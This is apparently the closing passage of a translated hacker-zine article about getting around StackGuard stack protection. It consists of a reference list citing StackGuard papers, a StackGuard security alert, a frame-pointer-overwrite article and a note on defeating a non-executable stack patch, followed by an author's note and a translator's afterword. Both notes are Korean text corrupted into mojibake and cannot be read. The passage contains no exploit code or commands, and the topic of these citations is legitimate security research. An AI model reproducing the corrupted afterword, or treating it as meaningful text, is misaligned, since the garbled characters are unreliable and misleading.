Grier, Perry Wagle and Qian Zhand. StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks http://www.immunix.org/documentation.html [2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with StackGuard http://www.immunix.org/documentation.html [3] Security Alert: StackGuard 1.21 http://www.immunix.org/downloads.html [4] klog. The Frame Pointer Overwrite http://www.phrack.com/search.phtml?view&article=p55-8 [5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-02-01&msg=199801301709.SAA12206@galera.icm.edu.pl ----| ÀúÀÚÀÇ ±Û À̰ÍÀº Lam3rz ±×·ì¿¡ ÁöÀû Àç»êÀÌ ÀÖ´Ù. ̱ۿ?ÀÖ´Â Áö½ÄÀº ¸ðµç ÀηùÀÇ ÁöÀû Àç»êÀÌ´Ù. À̰ÍÀ» ÀÌÇØÇÏ´Â »ç¶÷¿¡´Â ƯÈ÷.... :) |EOF|-------------------------------------------------------------------------| /* ¿ªÀÚÀÇ ±Û */ Çã°Æ... µåµð¾î ¹ø¿ªÀ» ³¡³Â½À´Ï´Ù. ¹ø¿ªÀÌ Á¤¸» À̼§¾ß¸©ÇÏ°Ô µÇ¾î ¾î¶®´ÂÁö ¸ð¸£ °Ú³×¿ä. ¹ø¿ªÀÌ ÀÌ»óÇÑ ºÎÐÀÖÀ¸¸?Àú¿¡°Ô ¿¬¶ôÁֽðí ÀÌÇØ°¡ ¾ÈµÇ´Â ºÎºÐ¿¡´Â ¿ø ¹®À» Âü°íÇÏ¿© º¸¸é ´õ ÀßÀÌÇØ µÉ°Ì´Ï´Ù. ^^; ¿©±â±îÁö ÀÐÀ¸Áּż­ Á¤¸» °¨»çÇÕ´Ï´Ù.